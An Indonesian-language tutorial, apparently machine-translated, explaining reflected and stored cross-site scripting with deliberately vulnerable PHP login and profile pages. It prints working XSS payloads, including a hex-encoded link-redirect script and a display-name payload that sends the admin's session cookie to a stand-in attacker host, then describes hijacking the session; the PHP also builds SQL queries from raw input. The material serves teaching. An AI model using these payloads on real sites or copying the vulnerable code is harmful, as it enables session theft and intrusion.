GNU/Linux >> Belajar Linux >  >> Linux

Contoh Serangan XSS (Serangan Scripting Lintas Situs)

Pada artikel sebelumnya dari seri ini, kami menjelaskan cara mencegah serangan SQL-Injection. Dalam artikel ini kita akan melihat jenis serangan berbeda yang disebut serangan XXS.

XSS adalah singkatan dari Cross Site Scripting.

XSS sangat mirip dengan SQL-Injection. Dalam SQL-Injection kami mengeksploitasi kerentanan dengan menyuntikkan SQL Query sebagai input pengguna. Di XSS, kami menyuntikkan kode (pada dasarnya skrip sisi klien) ke server jauh.

Jenis Skrip Lintas Situs

Serangan XSS secara luas diklasifikasikan menjadi 2 jenis:

  1. Tidak Persisten
  2. Persisten

1. Serangan XSS Non-Persisten

Dalam kasus serangan Non-Persistent, itu mengharuskan pengguna untuk mengunjungi tautan yang dibuat khusus oleh penyerang. Saat pengguna mengunjungi tautan, kode yang dibuat akan dieksekusi oleh browser pengguna. Mari kita memahami serangan ini lebih baik dengan sebuah contoh.

Contoh untuk XSS Non-Persisten

index.php:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";
?>

Contoh 1:

Sekarang penyerang akan membuat URL sebagai berikut dan mengirimkannya ke korban:

index.php?name=guest<script>alert('attacked')</script>

Ketika korban memuat URL di atas ke dalam browser, ia akan melihat kotak peringatan yang mengatakan 'diserang'. Meskipun contoh ini tidak menyebabkan kerusakan apa pun, selain pop-up 'diserang' yang mengganggu, Anda dapat melihat bagaimana penyerang dapat menggunakan metode ini untuk melakukan beberapa hal yang merusak.

Contoh 2:

Misalnya, penyerang sekarang dapat mencoba mengubah "URL Target" dari tautan "Klik untuk Mengunduh". Alih-alih tautan ke situs web “xssattackexamples.com”, ia dapat mengarahkannya ke “not-real-xssattackexamples.com” dengan membuat URL seperti yang ditunjukkan di bawah ini:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

Di atas, kami memanggil fungsi untuk dieksekusi di "window.onload". Karena situs web (yaitu index.php) pertama-tama menggemakan nama yang diberikan dan kemudian hanya menggambar tag . Jadi jika kita menulis langsung seperti yang ditunjukkan di bawah ini, itu tidak akan berfungsi, karena pernyataan tersebut akan dieksekusi sebelum tag di-echo

index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script>

Biasanya penyerang cenderung tidak membuat URL yang dapat langsung dibaca manusia. Jadi dia akan mengkodekan karakter ASCII ke hex sebagai berikut.

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

yang sama dengan:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

Sekarang korban mungkin tidak tahu apa itu, karena secara langsung ia tidak dapat memahami bahwa URL tersebut dibuat dan mereka memiliki lebih banyak kesempatan untuk mengunjungi URL tersebut.

2. Serangan XSS Persisten

Dalam kasus serangan terus-menerus, kode yang disuntikkan oleh penyerang akan disimpan di perangkat penyimpanan sekunder (kebanyakan di database). Damage yang ditimbulkan oleh serangan Persistent lebih banyak daripada serangan non-persistent. Di sini kita akan melihat cara membajak sesi pengguna lain dengan melakukan XSS.

Sesi

Protokol HTTP adalah protokol tanpa kewarganegaraan, yang berarti, protokol tersebut tidak akan mempertahankan status apa pun terkait dengan permintaan dan respons. Semua permintaan dan tanggapan independen satu sama lain. Tetapi sebagian besar aplikasi web tidak membutuhkan ini. Setelah pengguna mengautentikasi dirinya sendiri, server web tidak boleh meminta nama pengguna/kata sandi untuk permintaan berikutnya dari pengguna. Untuk melakukan ini, mereka perlu mempertahankan semacam status antara browser web dan server web yang dilakukan melalui “Sesi”.

Saat pengguna login untuk pertama kalinya, ID sesi akan dibuat oleh server web dan akan dikirim ke browser web sebagai "cookie". Semua permintaan sub-urutan ke server web, akan didasarkan pada "id sesi" di cookie.

Contoh untuk Serangan XSS yang Persisten

Contoh aplikasi web yang kami berikan di bawah ini yang menunjukkan serangan XSS persisten melakukan hal berikut:

  • Ada dua jenis pengguna:pengguna “Admin” dan “Normal”.
  • Saat “Admin” masuk, dia dapat melihat daftar nama pengguna. Saat pengguna "Normal" masuk, mereka hanya dapat memperbarui nama tampilan mereka.

login.php:

<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';

$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Error checking the connection string */
if (!$Connect) {
 echo "Database Connection Failure";
 exit;
}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";

$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);

$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0) {
 echo "Login failed";
}
else {
 # Start the session
 session_start();
 $_SESSION['USER_NAME'] = $user_name;
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>

home.php:

<?php
session_start();
if(!$_SESSION['USER_NAME']) {
 echo "Need to login";
}
else {
 $Host= '192.168.1.8';
 $Dbname= 'app';
 $User= 'yyy';
 $Password= 'xxx';
 $Schema = 'test';
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
 if($_SERVER['REQUEST_METHOD'] == "POST") {
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  pg_query($Connect,$query);
  echo "Update Success";
 }
 else {
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
   echo "Welcome admin<br><hr>";
   echo "List of user's are<br>";
   $query = "select display_name from $Schema.members where user_name!='admin'";
   $res = pg_query($Connect,$query);
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
    echo "$row[display_name]<br>";
   }
 }
 else {
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  echo "<input type=\"submit\" value=\"Update\">";
 }
}
}
?>

Sekarang penyerang masuk sebagai pengguna biasa, dan dia akan memasukkan yang berikut di kotak teks sebagai nama tampilannya:

<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>

Informasi di atas yang dimasukkan oleh penyerang akan disimpan dalam database (persistent).

Sekarang, ketika admin masuk ke sistem, dia akan melihat tautan bernama "Nama Saya" bersama dengan nama pengguna lainnya. Ketika admin mengklik tautan, itu akan mengirim cookie yang memiliki ID sesi, ke situs penyerang. Sekarang penyerang dapat memposting permintaan dengan menggunakan ID sesi itu ke server web, dan dia dapat bertindak seperti "Admin" hingga sesi tersebut kedaluwarsa. Informasi cookie akan seperti berikut:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

Setelah peretas mengetahui PHPSESSID, dia dapat menggunakan sesi ini untuk mendapatkan hak istimewa admin hingga PHPSESSID kedaluwarsa.

Untuk lebih memahami hal ini, kita dapat menggunakan addon firefox yang disebut “Tamper Data”, yang dapat digunakan untuk menambahkan header HTTP baru yang disebut “Cookies” dan menyetel nilainya menjadi “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3”.

Kami akan membahas cara menggunakan “Tamper Data” di artikel berikutnya dari seri ini.


Linux
  1. Contoh Perintah rm di Linux

  2. Contoh Perintah ps di Linux

  3. sa Contoh Perintah di Linux

  1. Skrip bash(I)

  2. 7 Contoh Perintah Linux df

  3. w Contoh Perintah di Linux

  1. 12 Contoh Bash For Loop untuk Scripting Shell Linux Anda

  2. 8 Contoh Perintah Linux TR

  3. Bagaimana cara mencegah serangan DDOS di Amazon EC2?